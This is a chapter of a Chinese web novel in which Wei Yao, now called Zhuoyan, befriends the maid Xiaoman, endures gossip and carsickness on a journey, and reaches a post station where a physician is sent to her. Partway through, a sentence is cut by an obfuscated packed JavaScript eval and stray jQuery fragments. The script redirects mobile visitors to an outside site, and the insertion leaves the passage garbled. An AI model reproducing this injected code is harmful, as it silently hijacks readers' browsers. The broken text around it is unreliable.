10. 琢妍姑娘

作品:《舟覆瑶光

    卫瑶借着她的力道稳稳落地,感激道:“多谢,还有这些日子里,辛苦你照料我。”


    小满后退半步,连连摆手:“阿遥姑娘客气了!奴婢小满,当不起您道谢的。”


    卫瑶想起方才的事,轻轻拉住她的手,温和道:“往后别再唤我阿遥姑娘了。”


    小满眨了眨眼,面露不解。


    “郎君给我改了名字,叫琢妍。”卫瑶莞尔一笑,带着几分亲近,“我同你一样,都是侍奉郎君的人,不必见外。”


    小满愣了一下,有些腼腆:“好,琢妍姑娘。”


    “还叫姑娘吗?”卫瑶忍不住捏了捏她的手背,打趣道。


    小满反应过来,忙改口:“琢妍姐姐。”


    卫瑶顺势问道:“你是一直在郎君身边服侍的吗?瞧你做事这般稳妥,想必有些年头了?”


    小满摇了摇头,老实作答:“不是的,我是赤国人,前几日才被事官送来,说是专门照料姐姐的。”


    “赤国人?”卫瑶蹙眉,难掩诧异:“可眼下他们要回启国去呀!你……”


    小满浑然不觉她话里的担忧,只道:“我无所谓的。”


    见卫瑶眼底似有愧色,她想了想,又补充:“不瞒姐姐,当初他们来挑人,姐妹们都怕被选走,便将我推了出来。我本就无亲无故,人又笨拙,原先总因差事做得不好挨罚,肚子也时常吃不饱。”


    她抬头看向卫瑶,脸上透出些朴实的满足:“如今跟着姐姐,不过是做些端茶递水的轻省活儿,吃得饱、穿得暖,我已知足了。”


    卫瑶看着小满平静中甚至带着点庆幸的表情,有些百感交集。


    她自身命运尚且如浮萍飘零,却不想还有人与她一样,但又因她得了些许安稳,这让卫瑶不知该说什么好,对小满略有些心疼。


    “姐姐,你待会还得喝药呢,我先去把药熬上。”小满忽然想起正事,又看了看四周,“这里风大,你快到郎君那边吧,那儿背风。”


    说罢,她便转身提起裙角,小跑着自去忙活了。


    卫瑶看过去,只见赵舟樾负手立在前方的土坡上,衣袍被风拂起一角,正望着远处的景致。


    她略一迟疑,还是提步走了过去,在他身后停下,轻声唤:“郎君。”


    “何事?”赵舟樾并未回头,淡淡地应了声。


    卫瑶斟酌着开口,带着小心:“我既已醒了,实在不敢占用郎君的车驾,扰您清静。不若,之后我便回去与小满同乘?”


    “随你。”


    “谢郎君。”卫瑶微一屈膝,正欲转身,眼风却扫见有几道视线正投向这边。


    待她看过去,那些人又若无其事地别开脸,或低头做事,或望向他处。


    她面色不变,不再停留,径直朝着侍女们聚集的地方走去。


    随行女子本就不多,此刻正三三两两聚在一处。卫瑶还未走近,便有细碎的闲话飘进耳中:


    “诶,你们说,赵世子车上那个赤国女子,到底是什么来头啊?”


    “神神秘秘的,谁晓得呢。”


    有人推了推一旁沉默的小满,有些探究:“小满,你总该知道吧?这两天看着是你在伺候。”


    小满头也不抬,被问得烦了,只瓮声瓮气地回了一句:“我不知道。”


    “啧,这有什么不能说的?”


    “唉呀,别问了。”另一个侍女拉扯同伴的衣袖,声音压得低了些,“她不也是赤国人嘛,人家才是一路的。”


    “在京兆时,可没听说赵世子身边有什么女人……”


    “京里那些贵女要是知道了,怕是要心碎咯!”


    正说着,忽然有人瞥见卫瑶走过来,议论声戛然而止。


    她这一走近,周遭那些或明或暗的目光,顿时有了清晰的落点。


    只见她体态纤袅,腰肢不盈一握,面容姣好,眉如远山含黛,目似秋水横波。唇色淡了些,透着些许倦意,反倒添了几分我见犹怜的风致。


    几个侍女互相递了个眼色,神色各异,有好奇,有打量,也有一丝不易察觉的轻蔑。


    她们凑在一起的脑袋各自散开,或低头整理衣襟,或假装去拿水囊,还有人起身要去看饭菜,好像刚才的交谈从未发生。


    “姐姐怎么过来了?”小满放下手里的东西,迎上去。


    卫瑶走到她身侧,温声道:“我来帮你搭把手,总不能让你一人忙前忙后的。”


    “这怎么行!”小满有些不赞成,“姐姐身子刚好,该好生歇着,这些活儿我来做便是。”


    “无妨,两个人快一些。”卫瑶拿起旁边的布巾,帮着擦拭未收拾完的食盒。


    不远处,窃窃声又起,压得极低:


    “就是她吧?长得是不错,就是瞧着病恹恹的。”


    “没成想赵世子喜欢这样的……”


    简单用过午饭,稍事休整,队伍再度启程。


    卫瑶绕过那辆宽敞华贵的马车,径直朝后面走去。


    “姐姐还有什么吩咐吗?”小满正坐在车沿上整理布包,见她过来,有些惊讶,忙挪出半边位置。


    卫瑶扶着车辕坐下,坦言:“郎君喜欢清静,我现下已经好了,继续留在他车上反倒不合规矩。”


    她看向小满,唇边漾开一抹浅笑:“再说,你一个人也闷吧?我来与你作伴。”


    “好呀!”小满眼睛一亮,很是欢喜:“就我一人在车里,车夫大哥又不爱开口,这两日我只能看着路边的树影打发时间。姐姐要来就太好了!”


    说着,她从布袋里摸出一块蜜饯塞到卫瑶手中,“这是我从信都带出来的,酸甜可口,姐姐快尝尝。”


    两人言笑几句,氛围轻松。


    这番热闹,恰好落入准备登车的赵舟樾眼中,他看着卫瑶眉眼舒展的样子,眸光微动。


    离了他跟前,她倒是自在。


    马车重新行驶在官道上,轱辘转动,发出细碎的声响。


    后头这车厢要小一些,陈设简单,两个姑娘在一处有说有笑,倒也驱散了几分行程中的疲惫。


    然而,卫瑶的轻松并未持续太久。


    她刚开始还和小满不停地闲聊,可行出不过十里地,持续的摇晃就变成一种煎熬。她开始感到胸口发闷,胃里翻搅不适。


    原先无论是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405927|184462||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    卫瑶还是阿遥,都并非娇弱之人,往日乘车、骑马从无大碍。想来病去如抽丝,这场病到底是伤了根本。


    “姐姐,你怎么了?”小满见她脸色渐白,急急地问道。


    卫瑶额角沁出冷汗,用手捂住嘴,强压下胸口涌上来的恶心。


    小满反应极快,从角落取出痰盂递过去。卫瑶再也忍不住,侧身避着她,吐得天昏地暗。


    小满在一旁急得不行,一下下轻拍着她的背,声音里都带了哭腔:“姐姐,你还好吗?怎么又这样了……”


    卫瑶摆手示意无碍,只盼着这阵折磨快些过去。


    吐过一阵,胃里暂时空了,她才虚脱般靠回车壁,连抬手的力气也无。


    小满用帕子替她拭去额角的汗,忧心忡忡:“这不行啊姐姐,到里松还有好长一段路呢!你这样怎么受得了,要不……我去禀报郎君?”


    “不用。”卫瑶话音微弱却坚决,“不过是点晕症,我忍一忍就好,别去打扰他。”


    她不想跟赵舟樾共处一隅,况且才提出了换车,此刻要是因晕车去求助,岂不显得矫情又反复?


    可话刚落下,马车碾过一块凸起的石头,车身晃动,她刚压下的恶心再度上涌。


    卫瑶又是一阵干呕,这次却没什么可吐的,只余些许胆汁灼得嗓子发疼。


    待到后来,卫瑶几乎麻木了,只剩下荒唐的自嘲,这算什么事?谁能想到,她卫瑶会有抱着痰盂在马车里吐得一塌糊涂的时候。


    一路折腾,行至日暮时分,队伍终于抵达里松驿站。


    马车停稳,小满抢先跳下来,转身欲扶卫瑶。


    卫瑶只觉得双腿发软,脚下虚浮得像踩在棉花上,刚迈出一步,便是一个踉跄,险些栽倒。


    “姐姐小心!”小满惊呼一声,眼疾手快地撑住她。


    卫瑶借力站稳,靠在小满身上缓了缓神,那股天旋地转才稍稍褪去。


    她的脸色明显比中午更加苍白憔悴,赵舟樾瞥见她这副模样,脚步微顿。


    这时,里松驿丞带着几个吏员、夫役迎了上来,躬身赔笑:“下官恭迎赵将军!驿站早已备好上房、热水和饭食,将军还有别的吩咐,尽管示下。”


    “有劳。”赵舟樾收回视线,率先步入驿站。


    驿丞早就安排妥当,引着众人前往各自的房间。卫瑶与小满亦步亦趋地跟在后面,只求能早些到房间歇下。


    赵舟樾自是住在最宽敞整洁的上房,卫瑶和小满作为随行女眷,也被安排在一处较为安静的房间。


    这住处虽不算大,收拾得还算齐整。小满扶着卫瑶到床边坐下,又忙不迭去倒一盏温水。


    “姐姐,再喝口水顺一顺。”


    卫瑶接过茶盏,小口啜饮着,水流滑过干哑的嗓子,稍稍缓解了不适。


    她靠在床柱上,闭目养神,脸上倦意浓重。


    小满看着她这般,心疼又无措,正想着要不要去寻些能缓解晕车的方子,便听见一阵叩门声。


    “谁呀?”小满扬声问道。


    门外传来松平的声音:“是我。郎君吩咐,请医官过来给琢妍姑娘诊脉。”